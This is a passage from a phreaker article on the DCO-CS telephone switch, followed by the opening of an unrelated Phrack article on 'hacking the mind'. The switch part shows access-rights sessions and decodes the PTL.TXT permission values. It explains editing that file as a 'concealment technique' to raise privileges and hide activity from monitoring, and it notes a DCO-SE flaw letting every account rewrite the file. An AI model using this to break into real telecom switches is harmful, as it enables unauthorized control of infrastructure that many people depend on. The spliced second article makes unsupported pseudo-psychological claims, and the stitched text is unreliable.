FIL> ENTER FUNCTION (FUNC=DIR) > FDIR

FIL> ENTER FILENAME (FILE=ROOT/) >

FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR

/ROOT/

BITMAP FRSP

AMPPAT DIR 03‑00‑00 00:00:00 03‑00‑00 00:00:00 000000220 0000 0 00XXXXXX ACCESS ‑ (MAINT ,RWX)

EXTENTS ‑ 71(1.)

/ROOT/AMPPAT/

T0000_RES P/D 03‑00‑00 00:00:00 03‑00‑00 00:00:00 000000001 0000 0 00XXXXXX ACCESS ‑ (MAINT ,RWX)

EXTENTS ‑ 14304(1.)

P0054_RES P/D 04‑00‑00 00:00:00 04‑00‑00 00:00:00 000000376 0000 0 00XXXXXX ACCESS ‑ (ADMIN ,RW),(TMRS ,RW),(STATUS,RW),(MAINT ,RW) (SECURE,RW),(NAC ,RW),(ESPF,RW)

EXTENTS ‑ 212753(5.)

In addition to the attributes displayed with DIR, with FDIR the access rights and extents of the files are displayed. Access rights are displayed in the format (GROUP, ABC) where ABC is populated with R (read), W (write), and/or X (execute). SDIR will only display subdirectories within the directory initially given (if a directory is initially provided) in the minimal DIR format. If a subdirectory containing P/D files is entered, the attributes of those files will be printed in the single‑line minimal format as well. SFDIR will display the directories in the "full format" (with access and extents) before the P/D files, as does SDIR. Access rights are modified through ACCESS:

FIL> ENTER FUNCTION (FUNC=HELP) > ACCESS

FIL> ENTER FILENAME (FILE=HELP) > FILENAME

FIL> ENTER FUNCTION (FUNCTION=HELP) >

ADD ‑ ADD ACCESS RIGHTS

DELETE ‑ DELETE ACCESS RIGHTS

LIST ‑ LIST ACCESS RIGHTS

FIL> ENTER FUNCTION (FUNCTION=HELP) > LIST

GROUP RIGHTS

‑‑‑‑‑ ‑‑‑‑‑‑

ADMIN R

TMRS R

STATUS R

MAINT R

SECURE R

NAC R

ESPF R

SCAT RW

FIL> ENTER FUNCTION (FUNCTION=LIST) > ADD

FIL> GROUP (GROUP=HELP) >

ENTER ANY OF THE FOLLOWING GROUP NAMES

ADMIN

TMRS

STATUS

MAINT

SECURE

NAC

ESPF

SPARE1

SPARE2

SPARE3

SPARE4

SPARE5

SPARE6

SPARE7

SPARE8

SCAT

DONE ‑ UPDATE FILE ACCESS RIGHTS ON DISK

The setting of access rights through FILSYS will alter the access rights stored in the file PTL.TXT, which may also be modified alternately and directly as discussed in the next section.

PTL Modification‑

To comprehend this concealment technique it is necessary to possess an understanding of the derivation of access rights in the file system. Occasionally (or often, depending upon the utilities used and the account logged on) the curious hacker/phreak will find that the "INSUFFICENT ACCESS RIGHTS" message will be displayed at attempts to invoke particular programs/utilities or to view certain files. Even using the disk directory options/functions of the $FILSYS utility it will be observed that information for certain files is irretrievable due to insufficient access. The inevitable question then arises as to where all of these access rights are defined. Rewarded is the hacker who considers this sort of question‑the context of DCO exploration is no exception. Access rights and many other attributes are defined and stored in an ASCII text file named PTL.TXT, (access rights are merely a tertiary option) in the /ROOT/ directory, appropriately entitled the Prioritized Task List‑the PTL is the very heart of the filesystem on a DCO‑CS. At the beginning of the PTL all options and the format of entries are explained:

****************************************

!***** RELEASE OCC150 DEVELOPMENT PRIORITIZED TASK LIST *******************

!***************************************

!

!

!

!

! The PRIORITIZED TASK LIST is free format ASCII text file. Any line that ! begins with an exclamation point(!) is assumed to be a comment, all other ! lines are assumed to be data lines. If a data line ends with a dash(‑)the ! next line is used to continue the line. A data line may be no more than ! 1000 characters in length. Since this file is free format multiple blanks ! or tabs are treated as a single space.

!

! The PTL defines the list of tasks contained in a given release and the ! desired order in which to place the tasks on the disk. The PTL also ! defines the options, the processor type, and the values of the CP ! switches, e.g.: file type, access rights.

!

! A data line consists of the DCO file specification followed by optional ! switch modifiers.

!

!‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ BEGIN SWITCH DEFINITIONS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑!

! ‑proc <type> the processor type. This is used to determine the ! search rules for the file.

!

! ‑input <file> the input file name. If this switch is NOT given the ! input file name is derived from the output file ! specification. If the output file specification does ! NOT have an extension, an extension of .DTC is used. ! [EG: ‑INPUT STD.H]

!

! ‑for <option> the file is required FOR this option(feature). If the ! site has this option, the file will be copied to the ! DCO disk. If this switch is NOT given, the file is ! assumed to be part of the GENERIC and is always ! copied to the DCO disk. Options may be OR'ed together ! by separating the options by a vertical bar(|). ! [EG: ‑FOR LAB|ANI]

!

! ‑disk <nbr> forces the file to be copied to the given disk, if a ! a multi‑disk set is required to hold all the files. ! If this switch is NOT given and a multi‑disk set is ! required, the file will be placed on the first disk ! with enough available free space.

! [EG: ‑DISK 0]

!

! ‑size <bytes> make sure that at least X number of bytes are ! reserved. If this switch is NOT given the number of ! bytes reserved is determined by the size of the file. ! [EG: ‑SIZE 1792]

!

! ‑access <#,#,#> give the access rights to a file. These are used to ! define the first three words of the rights section ! in the DCO file header. If this switch is NOT given ! a value of 177777 is used for the three values. The ! values must be in OCTAL representation.

! [EG: ‑ACCESS 1000,1000,1000 ‑ACCESS ,100000,1] ! The order is: READ,WRITE,EXECUTE

!

! ‑load the file is to be used for the load/boot block ! on the DCO disk. Although the load block is NOT ! referenced by a DCO file specification, one is ! required in the PTL for completeness. The ‑INPUT ! switch is normally used in conjunction with this ! switch to specify the input file. Only one file may ! be marked with the ‑LOAD switch. That file is treated ! as task created by TKB and is loaded from byte offset ! 1024(02000).

! [EG: /boot_block ‑proc mp ‑load ‑input inildr.tsk] !

! ‑offset the offset into the input file at which to start ! reading the data. Used only with the ‑LOAD switch ! [eg: please see the Appendix PTL file.]

!

! ‑ama_store designate as a special AMA storage file. This switch ! should be used with the ‑DISK switch to inform KUT ! on which disk the file should be placed.

! [EG: please see the Appendix PTL file.]

!

! ‑dir the DCO file specification is a DIRECTORY, valid ! switch modifiers are ‑FOR ‑ENTRIES & ‑RIGHTS !

! ‑entries <nbr> reserve the given number of DIRECTORY entries !

! ‑boot the file is designated a BOOT file. If this switch is ! NOT given the file is designated a PROGRAM/DATA file. !

! ‑data the file is copied as a binary data file. A DCO ! file header is created.

!

! ‑text the file is copied as ASCII text file. A DCO file ! header is created.

!

! NOTE: if neither the ‑DATA or ‑TEXT switch is given ! the file is copied as an IMAGE file. In this ! case a DCO file header is NOT created, but

! assumed to exist in the input file.

!

! ‑name <name> used to specify the internal name of a file. ! [eg: ‑name RPLDAT]

!

!‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END SWITCH DEFINITIONS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑!

!

!‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ BEGIN "FOR" OPTIONS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑!

! This section defines the valid options (features) that may be used ! with this release's ptl files. These options are to be used in ! conjuction with the "‑for" and "‑ifnot" switches. Those ptl entries ! that do not have a "‑for" switch are defined as generic tasks/files ! and will be put on all disks kut for this release.

!

!altAutomatic Line Insulation Test

!amaAutomatic Message Accounting

!big_amaAMA 10mb Emergency Storage on 2d IOmega disk

! codcRemote Polled LAMA

!dialupDial‑up Terminal Secure Access

!dliData Link Interface (OCC3)

! dntrans DN transperancey

! esp Essential Service Protection Feature

!essEmergency Switching Service

!fpFeature Processor

!gen The Base Line Generic

!hard_diskMSS Winchester (not iomega)

!labSwitch to allow all options for lab systems

!lab_testTasks for testing in S‑C lab only ‑ not for fld use

!rccRadio Common Carrier

! resReseller (OCC4)

!rls1000Remote Line Switch 1000, 360

!rls4000Remote Line Switch 4000

!rpl3 ‑ rpl7Protocol selection for RPL (rplc03,rphp03,dlip03)

!simulSimulator Options for specific Simulator Tasks

!small_amaAMA 3mb Emergency Storage on 1st IOmega disk

! synopsis site synopsis text file for dbgen databases !trafsepTraffic Separation (Source Destination)

! trktst Trunk Testing

!win Winchester Hard Disk Drive

!wkupWake‑up Service

!

! The following options were made generic per customer service on 9/19/91 !

! * abn Automatic Balance Network

! *aciAlarm Control Interface

! *bbtBoard to Board Test

! *boc_tmrsTraffic Measure't Reptg. Sys w/BOC Config (LSSGR) ! * bx25 Bell x25 Interface ‑ Operations Sys Netwrk Protocol ! * cba coin box accounting

! *dmpDuplex Maintenance Processor

! *e2aSwitch Cntl Ctr Sys (SCCS) w/E2A Telemetry

! *eadasBell Eng. and Admin. Data Acquisition System

! *poraPoint of Origin Recorded Announcement

! *rlgRemote Line Group

! *rmasBell Remote Memory Administration System

! *rnsRemote Network Switch

! *rotlRemote Office Test Line

! *slc96SLC‑96 Interface

! *smpSimplex Maintenance Processor

! *tsitppHigh‑Density TSI/TPP Subsystem

! * veacVirtual Equal Access

!

! The following options were made codc per customer service on 9/19/91 !

! #amatpsProtocol selection for AMATPS option

! #bisyncProtocol selection for IBM BISYNC application

! #hdlcProtocol selection for pollstar application

!

!‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END "FOR" OPTIONS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

!

!‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ BEGIN PROCESSOR DEFINITIONS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑!

! The following is the list of valid processor ids for this release to ! be used with the ‑proc switch. Each processor id is usually associated ! with an unique SCM software set.

!

! ac = aci

! al = alit

! amp = amp message database

! bxc = bx25

! cbc =

! cp = call processor

! dct = database software (dbver, dbview, dbchek, ...) ! dli =

! fc =

! fp = feature processor

! inet = To add intelligent network MP files to KUT medium. ! lg = lgc (line group controller)

! lt = ltc

! ma = mah/mar (rls1000)

! mci =

! md = mdc

! mp = maint/admin processor

! mp_text = command files (com directory)

! ptl = to add ptl file to disk

! rg = rlg (remote line group controller)

! rlr =

! rph =

! rls4 = rls4000 tasks

! rls68 = 68000 processor tasks for RLS4000, created 9/30/90. ! rt = rtc (slc96)

! ss7 =

! up =

! tmp =

!

!‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END PROCESSOR DEFINITIONS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑!

!‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ BEGIN PTL FILE LIST ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑!

/boot_block ‑proc mp ‑load ‑offset 01000 ‑input inildr.dtc

/smosld ‑proc mp ‑boot ‑disk 0

!

/com/a ‑proc mp_text ‑text ‑input a.txt ‑dynamic ‑

‑access ,100000,0

/a15shu ‑proc mp ‑

‑access 100000,100000,100000

/abnutl ‑proc mp ‑

‑access 100000,100000,100011

/abort ‑proc mp ‑

‑access 100000,100000,

/segment/diag2/type5/abotcp ‑proc mp ‑

‑access ,100000,0

/segment/diag2/type5/abotst ‑proc mp ‑

‑access ,100000,0

/required/abrt ‑proc mp ‑disk 0 ‑

‑access 100000,100000,

/driver/acidrv ‑proc mp ‑

‑access 100000,100000,100000

/download/acipgm ‑proc ac ‑

‑access ,100000,0

/acisu ‑proc mp ‑

‑access 100000,100000,100010

/acitst ‑proc mp ‑

‑access 100000,100000,100010

‑‑‑‑‑‑‑List truncated for brevity‑‑‑‑‑‑‑‑‑‑‑

!‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END PTL FILE LIST ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Access rights in the PTL are denoted with a "‑access" switch under file options, in the following syntactical order: READ, WRITE, EXECUTE; in other words, the octal values which represent account access permissions for a file denote consecutively, from left to right, which accounts are permitted to read (or view) the file in question, write to it, or execute it if it is executable. The following table of octal values may prove useful:

Octal Value Group(s) with Permission

=========== ========================

0 NONE

1 ADMIN

2 TMRS

10 MAINT

100000 SCAT

100001 ADMIN, SCAT

100002 TMRS, SCAT

100005 ADMIN, STATUS, SCAT

100010 MAINT, SCAT

100011 ADMIN, MAINT, SCAT

100012 TMRS, MAINT, SCAT

100013 ADMIN, TMRS, MAINT, SCAT

100014 STATUS, MAINT, SCAT

100020 SECURE, SCAT

100024 STATUS, SECURE, SCAT

100030 MAINT, SECURE, SCAT

100035 ADMIN, STATUS, MAINT, SECURE, SCAT

100036 TMRS, STATUS, MAINT, SECURE, SCAT

100037 ADMIN, TMRS, STATUS, MAINT, SECURE, SCAT

100042 TMRS, NAC, SCAT

100050 MAINT, NAC, SCAT

100071 ADMIN, MAINT, SECURE, NAC

100075 ADMIN, STATUS, MAINT, SECURE, NAC

100077 ADMIN, TMRS, STATUS, MAINT, SECURE, NAC, SCAT 100140 NAC, ESPF, SCAT

100141 ADMIN, NAC, ESPF, SCAT

100150 MAINT, NAC, ESPF, SCAT

100154 STATUS, MAINT, NAC, ESPF, SCAT

100155 ADMIN, STATUS, MAINT, NAC, ESPF, SCAT

100160 SECURE, NAC, ESPF, SCAT

100164 STATUS, SECURE, ESPF, SCAT

100175 ADMIN, STATUS, MAINT, SECURE, NAC, ESPF, SCAT 100177 ADMIN, TMRS, STATUS, MAINT, SECURE, NAC, ESPF, SCAT 177777 ALL DEFINED GROUPS

Any octal value in this table indicates the groups with the permission that it occupies under "‑access" in the PTL. For instance, if a file had ‑access 10, 100000, 100001, the MAINT group would have read permission, the SCAT group write permission, and the ADMIN and SCAT groups execute permission. Most accounts have read access to the PTL, but only SCAT has default write access to it. The PTL (and other files) may be modified in the $EDIT utility. Alternately the PTL.TXT file could be downloaded using $XFER (the file transfer command/program), modified, and re‑uploaded.

Memory Reading‑

An alternate way of reading/analyzing the information in various files such as the PTL, though of slightly limited usefulness, lies in the use of utilities such as $DUMPER to dump the contents of the file in question in a base of one's selection or ASCII. Note that, unfortunately, it is impossible to dump the contents of a file to which one does not already have access, for the file would have to be read by the utility in order for its contents to be output. Still, the indirect access of files in this manner may prove useful in a few situations‑for instance, if everything on a particular terminal was heavily monitored (echoed to the SCC, perhaps?) and the direct reading and/or editing of files an extremely revealing factor. Then again, if one follows the procedures described throughout these notes for concealing one's presence on the switch even rather heavy monitoring ought not to be a major obstruction.

$DUMPER /NODIAL

DUM> FILE NAME (FILE=HELP) > /ROOT/PTL.TXT

DUM> BASE (BASE=HELP) >

DECIMAL OR 10 ‑ WILL OUTPUT THE DATA AND ADDRESSES IN DECIMAL OCTAL OR 8 ‑ WILL OUTPUT THE DATA AND ADDRESSES IN OCTAL HEXIDECIMAL OR 16 ‑ WILL OUTPUT THE DATA AND ADDRESSES IN HEXIDECIMAL IF YOU PRECEED THE RESPONSE WITH AN A, SUCH AS A10 OR AOCTAL, THEN THE DATA WILL BE OUTPUT IN ASCII AND THE ADDRESS IN THE BASE EXIT ‑ WILL EXIT THIS TASK

DUM> BASE (BASE=HELP) > AHEX

DUM> TYPE (TYPE=HELP) >

HEADER ‑ WILL OUTPUT THE FILE HEADER

DATA ‑ WILL OUTPUT THE ACTUAL CONTENTS OF THE FILE

EXIT ‑ WILL EXIT THIS TASK

DUM> TYPE (TYPE=HELP) > DATA

DUM> START ADDRESS (START=HELP) > 3000

DUM> STOP ADDRESS (STOP=HELP) > 9000

00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 003000 ‑ B E G I N P R O C E S S 003010 O R D E F I N I T I O N S

003020 ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

003030 ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ \n ! \n !

003040 T h e f o l l o w i n g i s 003050 t h e l i s t o f v a l 003060 i d p r o c e s s o r i d s 003070 f o r t h i s r e l e a s 003080 e t o b e \n ! u s e 003090 d w i t h t h e ‑ p r o c 0030a0 s w i t c h . E a c h p 0030b0 r o c e s s o r i d i s u 0030c0 s u a l l y a s s o c i a t e 0030d0 d w i t h \n ! a n u 0030e0 n i q u e S C M s o f t w a 0030f0 r e s e t . \n ! \n ! a

003100 c

003110 a c i \n ! a l

003120 = a l i t \n !

003130 a m p

003140 = a m p m e s s a g e 003150 d a t a b a s e \n ! b

003160 x c

003170 b x 2 5 \n ! c b c

003180 n !

003190 c p

0031a0 c a l l p r o c e s s o r \n

Additional Information/Conclusion

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Other/Miscellaneous/General‑

The DCO family product line is currently owned/supported by Genband, an IP Multimedia System company based in Texas. Interestingly, the DCO‑CS is also the only major Class 5 switch on the PSTN for which VoIP conversion hardware to operate in conjunction with the switching hardware has not been widely manufactured, with the exception of a few media gateways. Its use in the future is likely to diminish due to its aging status, although DCO switches are to be found servicing many rural communities. Contrary to popular belief, all installed DCOs have not been replaced by the EWSD or other, newer switches. It was estimated as of 2006 that approximately 14 million lines were installed on North American DCO and EWSD switches, and that over 2,500 host and remote switches comprise the DCO install base in North America.

An Additional Note: DCO‑SE‑

Another member of the DCO family worthy of mention is the DCO‑SE, a line switch capable of servicing up to 10,000 lines, as opposed to the DCO‑CS, which is capable of servicing only a very limited number of lines and is primarily concerned with long distance (inter‑LATA) related service. The software of the DCO‑SE is enhanced and although the MMI is extremely similar, several alterations of note exist, due to its main function. In fact, an entire albeit brief article could be devoted to the differentiations between these two switches in the DCO family, but here for reasons of succinctity only the more "interesting" aspects of the DCO‑SE will be mentioned, those most major alterations to the MMI and switch utilities. First, the $ADMIN utility contains many different options, such as the following:

DCO>

$ADMIN

ADM>HELP

ENTER THE GROUP TYPE TO BE ADMINISTERED.

SOME OF THESE GROUPS ARE ACCESS RESTRICTED

ERR ‑ DISPLAY ERROR CODES FROM DBMS

ACCESS ‑ ISDN BRI ACCESS

BG ‑ BUSINESS GROUPS (CENTREX,MVP1,MVP2)

CARRIER ‑ EQUAL ACCESS CARRIER CODE

CC ‑ CUSTOM CALLING QUERIES

CEI ‑ CUSTOMER EQUIPMENT INTERFACE

COMM ‑ DATA COMMUNICATIONS

COS ‑ CLASS OF SERVICE

CODRES ‑ CODE RESTRICTION LIST

CV ‑ CLASS VALUES (VOICE DATA PROTECTION)

DOP ‑ DIAL OUT PLAN

E911T ‑ EMERGENCY 911 TANDEM

ESS ‑ EMERGENCY SWITCHING SERVICE, RLS‑4000

FKMP ‑ FEATURE KEY MANAGEMENT PROFILE

FN ‑ FEATURE NAME

HG ‑ HUNT GROUPS

IG303 ‑ INTERFACE GROUPS 303

LAW ‑ LAWFUL ACCESS

LCC ‑ LINE CLASS CODES

Contrasted with a DCO‑CS $ADMIN menu:

ERR ‑ DISPLAY ERROR CODES FROM DBMS

AIN ‑ ADVANCED INTELLIGENCE NETWORK

CEI ‑ CUSTOMER EQUIPMENT INTERFACE

COS ‑ CLASS OF SERVICE

CODRES ‑ CODE RESTRICTION LIST

CV ‑ CLASS VALUES (VOICE DATA PROTECTION)

FN ‑ FEATURE NAME

HG ‑ HUNT GROUPS

LCC ‑ LINE CLASS CODES

LCN ‑ LINE CLASS NAMES

LINE ‑ EN/DN LINES

MACRO ‑ MACRO DEFINITIONS

MBG ‑ MAKE BUSY GROUPS

NRT ‑ NETWORK DN TRANSPARENCY ROUTE TREATMENTS OPTIONS ‑ FEATURE OPTIONS

RING ‑ DEFAULT RING CODES

SITE ‑ SITE NAME

SS7 ‑ SIGNALING SYSTEM NUMBER 7

$ADMIN, as one may recall from the HELP text, is described as the utility used for "RECENT CHANGE/DATABASE ADMINISTRATION". Since the DCO‑SE has support for Centrex and may service up to 10,000 lines, administration groups such as BG, CC, ESS, etc. have been added, and groups such as SS7, AIN, MACRO, MBG, etc. do not exist as they do on the DCO‑CS. Second, two additional default account groups exist on the DCO‑SE‑LAW and NOVICE:

LAW‑LAW is used for the lawful survellience/monitoring of lines authorized under legislation such as CALEA. Within the $ADMIN utility, an option "LAW" exists to this end as seen above:

ADM> GROUP (GROUP=HG) > LAW

It is illegal to access Lawful Access surveillance information without the knowledge and expressed permission of the telephone operating company controlling this telecommunications facility. Further, it is illegal to establish any surveillance activity without receipt of a court order issued by a federal, state or local court having jurisdiction to permit telecommunications surveillance activity. Violation of these warnings will subject the perpetrator to all of the penalties and consequences allowable under such controlling laws.

ADM> LATYPE (LATYPE=HELP) >

CDC ‑ CDC

FSK ‑ FSK MODEM

OPTIONS ‑ OPTIONS

RECEIVER ‑ RECEIVER

SURVEILLANCE ‑ SURVEILLANCE

Invoking LAW will display a banner as seen above with the necessary legal warnings of accessing surveillance information. This banner is seemingly intended for observation by law enforcement, rather than other potential unauthorized users of the switch. LAW has access rights to files/utilities over which all groups have some degree of access.

NOVICE‑Perhaps intended for use by technicians in training or employees untrained in DCO operation as the name suggests, NOVICE only has access to utilities and files to which all account groups have access, and its access rights are always the lowest for a particular file or utility. For example, on files such as EA24HD, EA30MD, and EA60MD to which all other account groups have at least read and execute permissions, both NOVICE and LAW have only execute permission.

One gaping vulnerability present in the DCO‑SE (equipped with the most recent software version, released in 2003) is that, unlike on the DCO‑CS, all account groups have read AND write permissions on the PTL! Any account may thus directly write to the PTL, redefining access rights for files, etc. On the DCO‑CS, release OCC150, as stated previously, only SCAT has write permission/access.

Utilities Diagram

Notes: Although every utility technically has some degree of influence on the network, certain utilities serve strictly on‑switch functions (and thus exert an indirect influence over the PSTN) and others network functions (and thus exert a more direct influence over the PSTN). There exists, of course, no such utility as a "strictly off‑switch program", but, as said, there are varying degrees of network vs. switch influence. Naturally utilities concerned with the operation of switch hardware (such as the disk, processors, etc.) are classified as "intra‑switch", whereas SS7‑related programs, line and trunk utilities, etc. are classified as "extra‑switch". This three‑layered conception of DCO utilities is rather useful in determining the nature of account groups and purposes. This diagram is by no means intended to be inclusive of all or even most utilities‑rather, it encompasses a small sampling of the utilities that best epitomize the three categories. Described differently, extra‑switch utilities are closest to the network and intra‑switch utilities are furthest from it.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Extra‑Switch Utilities

$ABNUTL, $CODE, $HOTLIN,$INWANI, $INWATS,

$NITSWC, $RGU, $ROTL, $ROUTE, $RTOPT,

$RTR, $SCTST,$TRACE, $TSEP, etc.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Intra/Extra‑Switch Utilities "Bridge"

$CONUTL, $CSADM, $EQCHEK, $FLXANI, $MANUAL,

$PABX, $PCOS, $RNSAMA, $RTEST, $SELNUM

$SERV, $SPCALL,$TFM, $TKTHRS, $TMAD,

$TTU, etc.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Intra‑Switch Utilities

$ACTUTL, $AMOPT, $AMPUTL, $BUFDMP, $CBUG,

$CHKUTL, $DEBUG, $DMPUTL, $DUMPER, $EDIT,

$FILSYS, $FPBUG, $GBUG, $HSTUTL, $INSTAL,

$ISUUTL, $MEMCHK,$PASSWM, $PATCH, $REMOVE,

$SECTTY $STATE, $STATUS, $TIME, $UPACK,

$UPDATE, $VCHECK,$XFER, etc.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Recommendations for Security‑

In light of the above information regarding the near‑absolute absence of preventative security measures inherent in the design of the DCO, it may seem a comically futile undertaking to recommend measures to the end of effective DCO‑CS securement. Let it not be forgotten, though, that throughout the spirited and relished elucidation of the flaws in access security, a number of metaphorical "hurdles" or configurations proving through some often diminutive manner slightly problematic for those whose objective it is to access the switch are discussed. It follows logically, then, that the exaggeration of those in discretional configuration to as great a degree as is practically possible is desirable for the maximum security that one may extract/derive from the limited faculties of the DCO dedicated thereto. When discussing dialup security, alas, it seems best to simply disallow dialup access to the switch in order to prevent any form of remote unauthorized intrusion. Yet, as the author is keenly aware, this effective albeit extreme configuration/measure is not always practical and efficient to implement, in which case, one is advised to affix to the dial‑in line(s) dedicated to the purpose a callback security device, add an additional layer of password security, etc.; while exploitable flaws certainly exist in these shields, they at least may provide a sufficiently strong barrier as to discourage all but the most determined of unauthorized users. In all instances, regardless of the configuration of the dial‑in port/lines, one is obviously and finally advised to mandate the use of the strongest passwords possible, and to review and monitor diligently the logs, the trails generated by the actions of users. It is simply laughable that systems exist, on the PSTN and elsewhere, which exhibit a tremendous amount of security and yet so little significance in comparison to the switches, the machines analogous in magnitude of purpose and nature to the vertebrae of the giant network that, despite recent efforts to migrate rapidly from it, continues to connect and maintain a continuous stream of interconnected communications that links the U.S. and the greater segment of the globe to this day.

Acronym Glossary‑

DCO‑CS‑Digital Central Office Carrier Switch

PSTN‑Public Switched Telephone Network

LEC‑Local Exchange Carrier

EWSD‑Elektronisches Wahlsystem Digital/Electronic World Switch Digital CLEC‑Competitive Local Exchange Carrier

MMI‑Man‑Machine Interface

DCO‑SE‑Digital Central Office Small Exchange

RLS‑Remote Line Switch

5ESS‑#5 Electronic Switching System

TMRS‑Traffic Measurement and Recording System SCAT‑Stromberg‑Carlson Assistance Team

(IN)WATS‑(Inward) Wide Area Telephone Service

ETAS‑Emergency Technical Assistance

NAC‑Network Access Control

ESP(F)‑Essential Services Protection (Feature?)

MP‑Maintenance Processor

SCC‑Switching Control Center

PTL‑Prioritized Task List

VoIP‑Voice over Internet Protocol

LATA‑Local Access and Transport Area

CALEA‑Communications Assistance for Law Enforcement Act SS7‑Signalling System #7

Acknowledgements/Shoutouts‑

To ThoughtPhreaker, for his patient assistance in verifying the validity of many of the general observations within these notes and his vulnerability contributions, in addition to his extensive contributions to the DCO‑SE section, rev, Andrew, whitehorse, radio_phreak, bomberman2525 (if he still wishes to be known by that handle), and the authors of the original DCO articles, for their giddy, minimal diatribes did provide a foundation, however full of gaps, for me to expound upon. As usual, acknowledgements are given to anyone not explicitly mentioned who has assisted me in my quest for H/P knowledge and to anyone who agrees with my concept of the H/P subculture and sympathizes with my efforts to improve it. Feel free to contact me at my email address: philosopher2600@gmail.com with any inquiries or comments (factual corrections welcome) regarding this article.

NYC_NY_2600_DCO 09‑06‑16 00:26:00 LOGOFF TT01

Hacking the mind for fun and profit

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x0f of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Hacking the mind for fun and profit ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by lvxferis@gmail.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1 ‑ Introduction

2 ‑ How does the human conscious function

2.1 ‑ Decisional pattern programming

2.2 ‑ Role Model programming (behavioral mimetism from trusted sources)

3 ‑ Neuro‑linguistic programming (NLP)

4 ‑ Why does NLP function?

5 ‑ What is reality ‑ "What is above is what is beneath"

6 ‑ Human thoughts affecting reality

7 ‑ How to create a hostile reality?

8 ‑ The chains remain

9 ‑ Greetz

‑‑[ 1 ‑ Introduction

Oh no, not another "hacking your brain" article, please! I don't even want to know what is really going on with my mind, I love to be fed with the bullshit I get every day because I'm an ignorant bastard ‑‑ if you think this, then stop reading NOW because I don't even intent to have you people as an audience. Instead, I am addressing to those who have noticed the "glitches", the anomalies in the "matrix"; those who became hackers not because "computers are cool now" but because of their ancestral eager of knowledge and keen on spotting things that are not natural to their environment.

‑‑[ 2 ‑ How does the human conscious function

Human mind is a self‑programming bio‑computer ‑‑ i'm not the first one to say this. Human mind is programming itself consciously by by applying a decisional pattern, by following a model or a combination of both.

‑‑‑‑‑[ 2.1 ‑ Decisional pattern programming

Remember when you were a little baby and felt attracted to that flame and actually touched it. It burnt you so bad and the pain was so intense that you never played with fire again! ;) Pain is the method our spiritual mind uses to teach itself about the environment it deals with. Decisional pattern programming is based on rational analysis of facts correlated to past experiences, as similar as possible to the new experience encountered, and all this corroborated with the intensity of pain. Pain is nothing more but electrical signals sent by your neural system to your brain, which your spiritual mind interprets as a high disconfort, telling that the environment is reacting against your body. But some people apparently tolerate pain more than others; no, that's not true. We all feel the pain the same, it's just we can educate our spiritual mind to ignore the pain.

‑‑‑‑‑[ 2.2 ‑ Role Model programming (behavioral mimetism from trusted sources)

Ever since we are little children, we have role models to follow in society. They can be historical figures, philosophers, favourite hiphop star, people everybody knows and that, one way or the other, made it into this society, or simply, your mother or father, bigger brother, one of your friends, your menthor, etc. They all share one common feature: they posses a quality you would like to grow in you or they are an important part of your life. Think about it, how many times didn't you think about disappointing someone you care about if you do something you really want. How many of you still did that thing? By confronting our spiritual (rational) mind with the impressions and oppinions of our role models, minute by minute we become more like our role models, becoming what we decided we should be like.

To understand how your mind works, start seeing your ordinary life as a serie of events. The events fall into one of the following categories:

‑ new events

‑ new events similar to old events

‑ old events

